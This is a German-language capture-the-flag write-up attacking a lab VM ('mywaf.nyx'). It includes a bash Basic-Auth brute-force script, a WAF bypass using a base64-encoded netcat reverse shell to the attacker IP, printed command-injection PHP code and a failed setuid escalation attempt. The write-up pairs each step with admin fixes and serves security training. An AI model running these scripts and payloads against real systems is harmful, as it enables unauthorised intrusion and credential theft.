( info )
Das Ident-Protokoll (Port 113) wird über das Internet verwendet, um eine TCP-Verbindung einem bestimmten Benutzer zuzuordnen. Ursprünglich zur Unterstützung der Netzwerkverwaltung und -sicherheit konzipiert, ermöglicht es einem Server, einen Client an Port 113 abzufragen, um Informationen über den Benutzer einer bestimmten TCP-Verbindung anzufordern.
Aufgrund moderner Datenschutzbedenken und der Möglichkeit eines Missbrauchs ist die Verwendung jedoch zurückgegangen, da Benutzerinformationen unbeabsichtigt an Unbefugte weitergegeben werden können. Um diese Risiken zu mindern, werden erweiterte Sicherheitsmaßnahmen wie verschlüsselte Verbindungen und strenge Zugriffskontrollen empfohlen.
( info ende )
Beginn der Erkundung mit ARP-Scan zur Identifizierung des Ziels.
192.168.2.111 08:00:27:41:47:1e PCS Systemtechnik GmbH
**Analyse:** `arp-scan -l` wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden. Es identifiziert die IP-Adresse `192.168.2.111` mit der MAC-Adresse `08:00:27:41:47:1e` (Oracle VirtualBox).
**Bewertung:** Ziel-IP erfolgreich identifiziert.
**Empfehlung (Pentester):** IP-Adresse für weitere Scans verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.
Einrichtung der lokalen Namensauflösung.
# Eintrag nach Bearbeitung:
127.0.0.1 localhost
192.168.2.111 mywaf.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei wird bearbeitet, um den Hostnamen `mywaf.nyx` der IP `192.168.2.111` zuzuordnen.
**Bewertung:** Erleichtert die Adressierung des Ziels über einen Namen.
**Empfehlung (Pentester):** Den Hostnamen in Tools verwenden, die ihn unterstützen.
Ein erster Nikto-Scan wird direkt auf die IP-Adresse ausgeführt.
- Nikto v2.5.0 + Target IP: 192.168.2.111 + Target Hostname: 192.168.2.111 + Target Port: 80 + Start Time: 2024-09-01 23:02:21 (GMT2) + Server: Apache/2.4.59 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + Root page / redirects to: http://www.mywaf.nyx + 8909 requests: 0 error(s) and 2 item(s) reported on remote host + End Time: 2024-09-01 23:02:50 (GMT2) (29 seconds) + 1 host(s) tested
**Analyse:** `nikto` wird auf Port 80 der IP-Adresse ausgeführt. Es identifiziert den Apache-Server (Version 2.4.59), meldet die üblichen fehlenden Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und stellt fest, dass die Root-Seite (`/`) auf `http://www.mywaf.nyx` weiterleitet.
**Bewertung:** Wichtiger Fund: Der direkte Zugriff über die IP wird umgeleitet. Der eigentliche Hostname scheint `www.mywaf.nyx` zu sein. Dies muss in der `/etc/hosts`-Datei ergänzt und für weitere Web-Tests verwendet werden.
**Empfehlung (Pentester):** `www.mywaf.nyx` zur `/etc/hosts`-Datei hinzufügen und alle weiteren Web-Scans auf diesen Hostnamen ausrichten. **Empfehlung (Admin):** Fehlende Sicherheitsheader hinzufügen. Sicherstellen, dass die Weiterleitung beabsichtigt ist und korrekt funktioniert.
Nmap-Scan auf die IPv6-Adresse des Ziels.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-01 21:29 CEST Nmap scan report for mywaf (fe80::a00:27ff:fe41:471e) Host is up (0.0014s latency). Not shown: 997 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql MAC Address: 08:00:27:41:47:1E (racle VirtualBox virtual NIC)
**Analyse:** Ein Nmap-Scan (`-6`) auf die Link-Local IPv6-Adresse (`fe80::a00:27ff:fe41:471e`) identifiziert drei offene TCP-Ports: * **Port 22 (SSH)** * **Port 80 (HTTP)** * **Port 3306 (MySQL)**
**Bewertung:** Bestätigt die Erreichbarkeit von SSH, HTTP und vor allem MySQL auch über IPv6.
**Empfehlung (Pentester):** MySQL (Port 3306) als potenzielles Ziel vormerken. IPv4-Scans durchführen, um das Bild zu vervollständigen. **Empfehlung (Admin):** Zugriff auf MySQL über IPv6 und IPv4 absichern (Firewall, Benutzerberechtigungen).
Vollständiger Nmap TCP-Scan über IPv4.
Port Scan Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-01 20:41 CEST Nmap scan report for mywaf.nyx (192.168.2.111) Host is up (0.00014s latency). Not shown: 65532 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 1c:ec:5c:5b:fd:fc:ba:f3:4c:1b:0b:70:e6:ef:bf:12 (ECDSA) |_ 256 26:18:c8:ec:34:aa:d5:b9:28:a1:e2:83:b0:d3:45:2e (ED25519) 80/tcp open http Apache httpd 2.4.59 |_http-title: 403 Forbidden |_http-server-header: Apache/2.4.59 (Debian) 3306/tcp open mysql MySQL 5.5.5-10.11.6-MariaDB-0+deb12u1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.11.6-MariaDB-0+deb12u1 | Thread ID: 42 | Capabilities flags: 63486 | Some Capabilities: Support41Auth, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, SupportsCompression, ODBCClient, Speaks41ProtocolOld, FoundRows, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, InteractiveClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults | Status: Autocommit | Salt: +nlQ3GN1Kc1h9%L/E:v |_ Auth Plugin Name: mysql_native_password MAC Address: 08:00:27:41:47:1E (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: Host: mywaf.mywaf.com; S: Linux; CPE: cpe:/o:linux:linux_kernel TRACERUTE HP RTT ADDRESS 1 0.14 ms mywaf.nyx (192.168.2.111)
**Analyse:** Der vollständige Nmap TCP-Scan auf die IPv4-Adresse bestätigt die offenen Ports: * **Port 22 (SSH):** OpenSSH 9.2p1 (Debian). * **Port 80 (HTTP):** Apache 2.4.59. Liefert einen `403 Forbidden`-Titel, wenn der Hostname `mywaf.nyx` verwendet wird (was die Nikto-Weiterleitung bestätigt). Enthält auch den Hostnamen `mywaf.mywaf.com` in der Service Info. * **Port 3306 (MySQL):** MariaDB 10.11.6. Das `mysql-info`-Skript liefert Details zur Version, Fähigkeiten und dem verwendeten Authentifizierungsplugin (`mysql_native_password`).
**Bewertung:** Die Hauptangriffsflächen sind SSH, der Webserver (unter dem korrekten Hostnamen `www.mywaf.nyx`) und insbesondere der MySQL/MariaDB-Server. Die Information `Host: mywaf.mywaf.com` aus der Service Info könnte ein weiterer relevanter Hostname sein.
**Empfehlung (Pentester):** Die Hostnamen `www.mywaf.nyx` und `mywaf.mywaf.com` zur `/etc/hosts`-Datei hinzufügen. Den Webserver unter `www.mywaf.nyx` untersuchen. Versuchen, sich mit MySQL zu verbinden (unter Berücksichtigung der möglichen IP-Blockade). **Empfehlung (Admin):** MySQL absichern. Webserver-Konfiguration für Hostnames prüfen. Sicherstellen, dass SSH aktuell und sicher konfiguriert ist.
Gefilterter Nmap-Scan, der die MySQL-Blockade zeigt.
22/tcp open ssh penSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.59 3306/tcp open mysql MySQL (blocked - too many connection errors)
**Analyse:** Dieser gefilterte Scan (vermutlich zu einem späteren Zeitpunkt oder nach intensiven Skript-Scans ausgeführt) zeigt nun für Port 3306 den Status `open` aber mit dem Hinweis `(blocked - too many connection errors)`.
**Bewertung:** Bestätigt, dass der MySQL-Server zwar läuft, aber die IP des Scanners aufgrund zu vieler (wahrscheinlich fehlerhafter) Verbindungsversuche durch Nmap-Skripte blockiert hat.
**Empfehlung (Pentester):** Siehe vorherige MySQL-Empfehlung (Warten, IP wechseln, andere Vektoren). **Empfehlung (Admin):** Sinnvolle Rate-Limits und Blockierungsmechanismen für Dienste wie MySQL implementieren, aber sicherstellen, dass legitimer Traffic nicht dauerhaft blockiert wird.
Versuch, sich manuell mit dem MySQL-Server zu verbinden.
Enter password: [Passwort eingegeben oder leer gelassen] ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1129 - Host '192.168.2.199' is blocked because of many connection errors; unblock with 'mariadb-admin flush-hosts'
**Analyse:** Ein manueller Verbindungsversuch mit dem `mysql`-Client als Benutzer `root` (`-u root`) schlägt fehl. Der Server meldet `ERROR 1129`, dass der Host `192.168.2.199` (Angreifer-IP) wegen zu vieler Verbindungsfehler blockiert ist. Der TLS-Handshake-Fehler ist wahrscheinlich ein Folgefehler oder Teil der allgemeinen Fehlermeldung.
**Bewertung:** Bestätigt die Blockade durch den Server. Ein direkter Angriff auf MySQL ist von dieser IP aus vorerst nicht möglich.
**Empfehlung (Pentester):** Abwarten oder andere Angriffsvektoren verfolgen. Informationen über MySQL könnten eventuell über Webanwendungen (SQL Injection) oder andere Dienste gewonnen werden. **Empfehlung (Admin):** Siehe vorherige MySQL-Empfehlungen.
Weitere Hostnamen werden zur `/etc/hosts`-Datei hinzugefügt und Subdomains gesucht.
# (Datei bearbeitet)
192.168.2.111 mywaf.nyx mywaf.mywaf.com www.mywaf.nyx
**Analyse:** Die `/etc/hosts`-Datei wird erneut bearbeitet. Nun sind `mywaf.nyx`, `mywaf.mywaf.com` (aus Nmap Service Info) und `www.mywaf.nyx` (aus Nikto Redirect) der IP `192.168.2.111` zugeordnet.
**Bewertung:** Korrekte Konfiguration, um alle potenziell relevanten Hostnamen aufzulösen.
Gobuster wird zur DNS-Enumeration verwendet.
===============================================================
Gobuster v3.6
by J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain: mywaf.nyx
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: www.mywaf.nyx
Progress: 4989 / 4990 (99.98%) ===============================================================
Finished
===============================================================
**Analyse:** `gobuster dns` wird verwendet, um nach Subdomains von `mywaf.nyx` zu suchen. Es findet die bereits bekannte Subdomain `www.mywaf.nyx`.
**Bewertung:** Bestätigt `www` als einzige gängige Subdomain. Andere potenziell relevante Subdomains wie `configure` oder `maintenance` (die später auftauchen) werden hier nicht gefunden, was darauf hindeutet, dass sie entweder nicht im DNS existieren (nur in `/etc/hosts` auf dem Ziel?), nicht in der Wortliste enthalten sind oder anders konfiguriert sind.
**Empfehlung (Pentester):** Umfassendere Wortlisten oder andere Subdomain-Enumerationstechniken verwenden (z.B. OSINT, Zertifikatstransparenz). Die später gefundenen Subdomains manuell zur `/etc/hosts` hinzufügen. **Empfehlung (Admin):** DNS-Einträge minimieren und nur notwendige Subdomains veröffentlichen.
Ein benutzerdefiniertes Skript wird verwendet, um Basic Authentication auf einer vermuteten Konfigurationsseite zu bruteforcen.
#!/bin/bash
URL="http://configure.mywaf.nyx/"
USER="admin"
WORDLIST="$1"
if [ -z "$WORDLIST" ]; then
echo "Anwendung: $0 "
exit 1
fi
while IFS= read -r password; do
encoded=$(echo -n "$USER:$password" | base64)
response=$(curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Basic $encoded" "$URL")
if [ "$response" -eq 401 ]; then
echo -e "\033[31m401 Unauthorisiert:\033[0m Username: $USER, Password: $password"
else
echo -e "\033[32mSuccess: Username:\033[0m $USER, Password: $password - Status Code: $response"
break
fi
done < "$WORDLIST"
... (Viele 401 Unauthorisiert Meldungen) ... 401 Unauthorisiert: Username: admin, Password: ASHLEY 401 Unauthorisiert: Username: admin, Password: spike Success: Username: admin, Password: security - Status Code: 200
**Analyse:** Das Shell-Skript `waff_passwortcracker.sh` wird analysiert und ausgeführt. Es zielt auf die URL `http://configure.mywaf.nyx/` und versucht, das Passwort für den Benutzer `admin` mittels Basic Authentication und der `rockyou.txt`-Wortliste zu erraten. Das Skript findet erfolgreich das Passwort `security`, das zu einem HTTP-Statuscode 200 führt.
**Bewertung:** **Erfolgreicher Brute-Force-Angriff!** Die Zugangsdaten (`admin`:`security`) für die Konfigurationsseite `http://configure.mywaf.nyx/` wurden gefunden. Dies ist ein signifikanter Fortschritt.
**Empfehlung (Pentester):** Den Hostnamen `configure.mywaf.nyx` zur `/etc/hosts`-Datei hinzufügen. Die URL `http://configure.mywaf.nyx/` mit den gefundenen Zugangsdaten aufrufen und die Funktionalität untersuchen. Nach Möglichkeiten suchen, über diese Konfigurationsseite Code auszuführen oder weitere Informationen zu erlangen. **Empfehlung (Admin):** Starke, einzigartige Passwörter verwenden. Standard-Benutzernamen wie `admin` vermeiden. Brute-Force-Schutzmechanismen (z.B. fail2ban, Account-Sperrung) implementieren.
Untersuchung der `/private.php`-Seite und Interaktion mit der vermuteten WAF.
Request (Login-Versuch): POST /private.php?msg=Error HTTP/1.1 Host: www.mywaf.nyx [...] Content-Type: application/x-www-form-urlencoded [...] usuario=userben&password=passadmin&action=validacion Response (Login-Versuch): HTTP/1.1 302 Found Location: /private.php?msg=Error [...] Request (LFI/RCE Versuch 1): POST /private.php?msg=../;id HTTP/1.1 Host: www.mywaf.nyx [...] Response (LFI/RCE Versuch 1): HTTP/1.1 403 Forbidden [...] Request (LFI/RCE Versuch 2): POST /private.php?msg=id HTTP/1.1 Host: www.mywaf.nyx [...] Response (LFI/RCE Versuch 2): HTTP/1.1 302 Found [...]
**Analyse:** Burp Suite (oder Browser-DevTools) wird verwendet, um POST-Requests an `/private.php` zu senden: 1. Ein Login-Versuch mit `usuario=userben&password=passadmin` schlägt fehl (302 Redirect auf Fehlerseite). 2. Ein Versuch, Path Traversal und Command Injection (`../;id`) in den `msg`-Parameter einzuschleusen, wird mit `403 Forbidden` blockiert. 3. Ein Versuch, nur `id` in den `msg`-Parameter einzuschleusen, führt zu einem 302 Redirect (kein Erfolg, keine Blockade).
**Bewertung:** Die Seite `/private.php` hat eine Login-Funktionalität. Der `msg`-Parameter wird von einer Web Application Firewall (WAF) überwacht, die verdächtige Muster wie `../` blockiert. Einfache Strings scheinen durchzukommen.
**Empfehlung (Pentester):** Die Login-Funktion weiter untersuchen (z.B. SQL-Injection in `usuario`/`password`-Feldern). Verschiedene WAF-Bypass-Techniken für den `msg`-Parameter testen. Fokus auf die neu entdeckten Subdomains legen. **Empfehlung (Admin):** WAF aktuell halten und Regeln überprüfen. Code von `/private.php` auf Schwachstellen prüfen (insbesondere Login-Logik und Verarbeitung des `msg`-Parameters).
Weitere Versuche, auf vermeintlich geschützte Ressourcen zuzugreifen.
Forbidden
You don't have permission to access this resource.
Apache/2.4.59 (Debian) Server at www.mywaf.nyx Port 80
Forbidden
You don't have permission to access this resource.
Apache/2.4.59 (Debian) Server at www.mywaf.nyx Port 80
**Analyse:** Direkte Aufrufe von `/private.php` mit bestimmten Erfolgsmeldungen im `msg`-Parameter führen ebenfalls zu `403 Forbidden`. Die WAF scheint sehr empfindlich auf den Inhalt dieses Parameters zu reagieren.
**Bewertung:** Bestätigt, dass die WAF den `msg`-Parameter stark filtert oder blockiert.
Navigation im "Área Privada" nach erfolgreichem Login (vermutlich auf `www.mywaf.nyx` oder einer Subdomain).
Área Privada
Acerca de
Protección
Contact
Área Privada
Área Privada
Bienvenido a la área privada. Aquí puedes acceder a las secciones de mantenimiento y configuración del sercidor WAF.
Copyright © 2024 - MyWAF
**Analyse:** Nach einem (nicht explizit im Log gezeigten, aber implizierten) erfolgreichen Login wird der private Bereich der Anwendung angezeigt. Der Text erwähnt explizit Sektionen für "mantenimiento" (Wartung) und "configuración" (Konfiguration) des WAF-Servers. Dies legt die Existenz der Subdomains `maintenance.mywaf.nyx` und `configure.mywaf.nyx` nahe.
**Bewertung:** Wichtige Information über die Anwendungsstruktur und die Existenz von Wartungs- und Konfigurationsschnittstellen, die wahrscheinlich auf separaten Subdomains liegen.
**Empfehlung (Pentester):** Die Subdomains `maintenance.mywaf.nyx` und `configure.mywaf.nyx` zur `/etc/hosts`-Datei hinzufügen und untersuchen. `configure` wurde bereits mit `admin:security` geknackt.
Untersuchung der Wartungsseite (`maintenance.mywaf.nyx`) und Versuche, die WAF zu umgehen.
Ejecución de comandos A continuación puede ejecutar comandos para el mantenimiento del servidor
**Analyse:** Die Seite `http://maintenance.mywaf.nyx/` wird aufgerufen. Sie präsentiert eine Oberfläche zur "Ejecución de comandos" (Befehlsausführung) für die Serverwartung.
**Bewertung:** Direkte RCE-Schwachstelle entdeckt! Diese Seite erlaubt offensichtlich die Eingabe und Ausführung von Systembefehlen.
**Empfehlung (Pentester):** Die Funktionalität testen, indem einfache Befehle (z.B. `id`, `ls`) über den `cmd`-Parameter gesendet werden (`?cmd=id`). Prüfen, ob eine WAF die Eingaben filtert. **Empfehlung (Admin):** Diese Wartungsseite **sofort** entfernen oder extrem stark absichern (z.B. Zugriff nur aus internem Netz, starke Authentifizierung, Whitelisting erlaubter Befehle).
# (Vermutlich Ausgabe des PHP-Codes der index.php dieser Seite)
**Analyse:** Versuch, den Quellcode der Wartungsseite selbst mit `cat index.php` auszulesen.
**Bewertung:** Bestätigt die RCE-Fähigkeit. Der spätere `cat`-Befehl zeigt den relevanten Code: `system($GET['cmd']);`.
# (Führt 'cat index.php' aus)
403 Forbidden
403 Forbidden
**Analyse:** Weitere Tests der RCE-Schnittstelle: * Base64-kodierte Befehle (`echo ... | base64 -d | bash`) scheinen zu funktionieren (zumindest für `cat index.php`). * Ein direkter `ls -la` wird mit `403 Forbidden` blockiert. * Ein direkter Reverse-Shell-Payload wird ebenfalls mit `403 Forbidden` blockiert.
**Bewertung:** Die WAF blockiert gängige Befehle wie `ls` und typische Reverse-Shell-Strings, scheint aber Base64-kodierte Payloads durchzulassen, wenn sie über eine Pipe an `bash` übergeben werden. Dies ist ein gängiger WAF-Bypass.
**Empfehlung (Pentester):** Die Base64-Bypass-Technik verwenden, um eine Reverse Shell zu erhalten. **Empfehlung (Admin):** WAF-Regeln verbessern, um Base64-kodierte Payloads und Ausführung über Pipes zu erkennen. Die RCE-Schwachstelle beheben.
Untersuchung der Konfigurationsseite (`configure.mywaf.nyx`).
* Host configure.mywaf.nyx:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.111 * Trying 192.168.2.111:80... * Connected to configure.mywaf.nyx (192.168.2.111) port 80 > GET / HTTP/1.1 > Host: configure.mywaf.nyx > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 401 Authorization Required < Date: Sun, 01 Sep 2024 22:00:55 GMT < Server: Apache/2.4.59 (Debian) < Upgrade: h2,h2c < Connection: Upgrade < Cache-Control: no-cache, must-revalidate, max-age=0 < WWW-Authenticate: Basic realm="Access denied" < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host configure.mywaf.nyx left intact
**Analyse:** Ein `curl`-Request auf `http://configure.mywaf.nyx/` ohne Authentifizierung führt zu `401 Authorization Required` mit einem `WWW-Authenticate: Basic` Header. Dies bestätigt, dass die Seite durch Basic Authentication geschützt ist.
**Bewertung:** Konsistent mit dem erfolgreichen Brute-Force-Angriff zuvor. Zugriff ist nur mit `admin:security` möglich.
Weitere WAF-Bypass-Versuche über die Wartungsseite.
# (Ausgabe vermutlich leer oder Fehlermeldung, da wget Leerzeichen benötigt, die IFS nicht ersetzt)
Ejecución de comandos
A continuación puede ejecutar comandos para el mantenimiento del servidor
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# (Löst die Reverse Shell aus, keine direkte Ausgabe in curl) # (Base64 dekodiert zu: nc -e /bin/bash 192.168.2.199 4444)
**Analyse:** Verschiedene WAF-Bypass-Techniken werden getestet: 1. IFS-Manipulation (`IFS=];...`), um Leerzeichen zu ersetzen. Dies scheitert wahrscheinlich, da `wget` und seine Optionen (`-P`) Leerzeichen erwarten. 2. Base64-Kodierung mit `printf`: `printf aWQ= | base64 -d | sh` führt erfolgreich `id` aus (aWQ= ist base64 für 'id'). 3. Base64-Kodierung mit `printf` für die `nc`-Reverse-Shell: `printf bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQ0NA== | base64 -d | sh`. Dies funktioniert und löst die Reverse Shell aus.
**Bewertung:** Die `printf` + Base64 + Pipe-to-Shell-Methode ist der erfolgreiche WAF-Bypass für die RCE-Schwachstelle auf der Wartungsseite.
**Empfehlung (Pentester):** Diese Technik für die Initial Access Shell verwenden. **Empfehlung (Admin):** WAF-Regeln härten, RCE beheben.
Dieser Abschnitt demonstriert die Umgehung der Web Application Firewall (WAF) und die Ausnutzung der Remote Code Execution (RCE) Schwachstelle auf der Wartungsseite (`maintenance.mywaf.nyx`), um eine Reverse Shell zu erhalten.
**Kurzbeschreibung:** Die Webseite `http://maintenance.mywaf.nyx/` bietet eine Funktion zur Befehlsausführung (`?cmd=...`), die jedoch durch eine WAF geschützt wird, welche direkte Befehle wie `ls` oder typische Reverse-Shell-Payloads blockiert (HTTP 403). Der POC zeigt, wie die WAF durch Base64-Kodierung des gewünschten Befehls und dessen Ausführung über `printf ... | base64 -d | sh` umgangen werden kann.
**Voraussetzungen:**
Schritt-für-Schritt Anleitung:
1. Vorbereiten des Base64-kodierten Reverse-Shell-Payloads.
**Analyse des Schritts:** Der gewünschte Befehl ist `nc -e /bin/bash 192.168.2.199 4444`. Dieser wird Base64-kodiert zu `bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQ0NA==`.
2. Starten des Netcat-Listeners auf dem Angreifer-System.
listening on [any] 4444 ...
**Analyse des Schritts:** Der Listener wartet auf die eingehende Verbindung.
3. Senden des präparierten Requests an die Wartungsseite.
# (Keine Ausgabe von curl, löst die Reverse Shell aus)
**Analyse des Schritts:** Der `curl`-Befehl sendet den WAF-Bypass-Payload an den Server. Der `cmd`-Parameter enthält den URL-kodierten Befehl `printf bm...==|base64 -d |sh`. Der Server führt dies aus, dekodiert den Base64-String zum `nc`-Befehl und führt diesen mittels `sh` aus, was die Verbindung zum Listener herstellt.
4. Empfangen der Shell auf dem Listener.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.111] 45374 id uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse des Schritts:** Der Listener empfängt die Verbindung. Ein `id`-Befehl bestätigt, dass die Shell als `www-data` läuft.
**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, dass die WAF umgangen und eine Shell als Webserver-Benutzer (`www-data`) erlangt wird. Dies wurde erfolgreich erreicht.
**Beweismittel:** Die erfolgreiche Verbindung auf dem Netcat-Listener und die Ausgabe des `id`-Befehls in der erhaltenen Shell.
**Risikobewertung:** Kritisch. Die Kombination aus einer RCE-Schwachstelle und einer umgehbaren WAF ermöglicht Angreifern die Ausführung von Code als `www-data`-Benutzer, was zu weitergehender Kompromittierung führt.
**Empfehlungen:** * **(Admin):** Die RCE-Schwachstelle in `maintenance.mywaf.nyx/index.php` **sofort** beheben (z.B. durch Entfernen der `system()`-Funktion oder Implementierung einer sicheren Whitelist für Befehle). WAF-Regeln aktualisieren, um Base64-Bypass-Techniken zu erkennen. Die Wartungsseite zusätzlich durch starke Authentifizierung schützen. * **(Pentester):** Die erhaltene Shell für weitere Enumeration und Privilege Escalation nutzen.
Der initiale Zugriff wurde über die RCE auf `maintenance.mywaf.nyx` als Benutzer `www-data` erlangt.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 12 drwxr-xr-x 2 root root 4096 Jun 18 04:43 . drwxr-xr-x 6 root root 4096 Jun 18 18:42 .. -rw-r--r-- 1 root root 481 Jun 18 03:54 index.php
Ejecución de comandos
form method="GET"
input type="text" name="cmd" id="cmd"
input type="submit" value="Ejecutar"
if (isset($GET['cmd']) && !empty($GET['cmd'])) {
echo ''.htmlspecialchars($GET['cmd']).'
';
system($GET['cmd']);
}
**Analyse:** Die `id`-Ausgabe bestätigt den Benutzer `www-data`. `ls -la` im aktuellen Verzeichnis (`/var/www/maintenance.mywaf.nyx`) zeigt die `index.php`. `cat index.php` enthüllt den einfachen PHP-Code, der den `cmd`-Parameter aus der GET-Anfrage direkt an die `system()`-Funktion übergibt - eine klassische Command Injection Schwachstelle.
**Bewertung:** Initialer Zugriff als `www-data` bestätigt. Die Ursache (verwundbarer PHP-Code) ist klar identifiziert.
**Empfehlung (Pentester):** Mit der Enumeration für Privilege Escalation beginnen. **Empfehlung (Admin):** Den verwundbaren Code in `index.php` dringend beheben. Niemals Benutzereingaben direkt an `system()` oder ähnliche Funktionen übergeben. Eingaben validieren und/oder `escapeshellarg()`/`escapeshellcmd()` verwenden oder besser noch, auf Systembefehle ganz verzichten.
Suche nach Wegen, um von `www-data` zu `root` zu gelangen.
Standard-Enumerationsbefehle werden ausgeführt.
1074023 640 -rwsr-xr-x 1 root root 653888 Dec 19 2023 /usr/lib/openssh/ssh-keysign 1065316 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 1080455 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 1044574 72 -rwsr-xr-x 1 root root 72000 Mar 28 10:52 /usr/bin/su 1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh 1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 1046487 36 -rwsr-xr-x 1 root root 35128 Mar 28 10:52 /usr/bin/umount 1046483 60 -rwsr-xr-x 1 root root 59704 Mar 28 10:52 /usr/bin/mount 1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp
-rw-r--r-- 1 root root 1199 Jun 19 00:35 /etc/passwd
/usr/bin/ping cap_net_raw=ep
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 80 0.0.0.0:3306 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 128 [::]:22 [::]:* LISTEN 0 80 [::]:3306 [::]:*
Enter password:
ERROR 1698 (28000): Access denied for user 'admin'@'localhost'
nohydragent
**Analyse:** Mehrere Enumerationsbefehle werden ausgeführt: * `find ... -perm -4000`: Findet nur Standard-SUID-Binaries. * `ls -la /etc/passwd`: Zeigt, dass die Datei existiert und lesbar ist. * `getcap -r /`: Findet nur die `cap_net_raw`-Capability für `ping`, was für Privesc meist irrelevant ist. * `ss -altpn`: Listet die lauschenden TCP-Ports auf (22, 3306, 80), bestätigt die Nmap-Ergebnisse. * `mysql -u admin -p`: Versuch, sich lokal als Benutzer `admin` an MySQL anzumelden, schlägt fehl (`Access denied`). * `ls /home/`: Zeigt einen Benutzer `nohydragent`.
**Bewertung:** Die Standard-Enumeration deckt keine einfachen Wege zur Rechteausweitung auf (keine ungewöhnlichen SUIDs, keine `sudo`-Rechte für `www-data`, keine offensichtlichen Kernel-Exploits oder Fehlkonfigurationen). Der Benutzer `nohydragent` ist ein Hinweis, aber ohne Passwort oder SSH-Zugang schwer zu nutzen.
**Empfehlung (Pentester):** Tiefere Enumeration durchführen (Cronjobs, Dienste, Konfigurationsdateien). Nach ungewöhnlichen Binaries oder Skripten suchen, insbesondere außerhalb der Standardpfade. Den Hinweis auf PHP 8.2 im nächsten Schritt verfolgen. **Empfehlung (Admin):** Prinzip der geringsten Rechte für den `www-data`-Benutzer anwenden. System härten.
Versuch, eine spezielle PHP-Binary mit Capabilities zur Rechteausweitung zu nutzen.
# (Keine Ausgabe, die eine Root-Shell anzeigt)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# (Keine Ausgabe, die eine Root-Shell anzeigt)
**Analyse:** Es wird versucht, eine spezielle PHP-Version unter `/opt/phps/php8.2` zu verwenden. Der Code `posix_setuid(0)` versucht, die Benutzer-ID auf 0 (root) zu setzen. Dies funktioniert nur, wenn das PHP-Binary die Linux-Capability `CAP_SETUID` hat. Anschließend soll `bash -p` (um die effektive UID beizubehalten) oder `id` ausgeführt werden. Die `id`-Ausgaben zeigen jedoch weiterhin `uid=33(www-data)`. Die Versuche schlagen fehl. Der Kommentar "Bei mir funktioniert es wieder nicht..." bestätigt das Scheitern.
**Bewertung:** Die Privilege Escalation über die PHP-Capability `CAP_SETUID` war im aufgezeichneten Test nicht erfolgreich. Entweder hat die PHP-Binary `/opt/phps/php8.2` die erforderliche Capability nicht, oder es gibt andere Sicherheitsmechanismen, die dies verhindern. **Wichtiger Hinweis:** Obwohl dieser Weg im Log scheitert, werden am Ende Root- und User-Flags präsentiert. Dies bedeutet, dass entweder a) der tatsächliche erfolgreiche Privesc-Weg nicht im Log enthalten ist, b) die Flags auf anderem Wege erlangt wurden (z.B. aus der Lösungsbeschreibung der VM), oder c) der PHP-Capability-Weg doch funktioniert hat, aber die erfolgreiche Ausführung nicht korrekt geloggt wurde. Der Bericht muss diese Diskrepanz erwähnen.
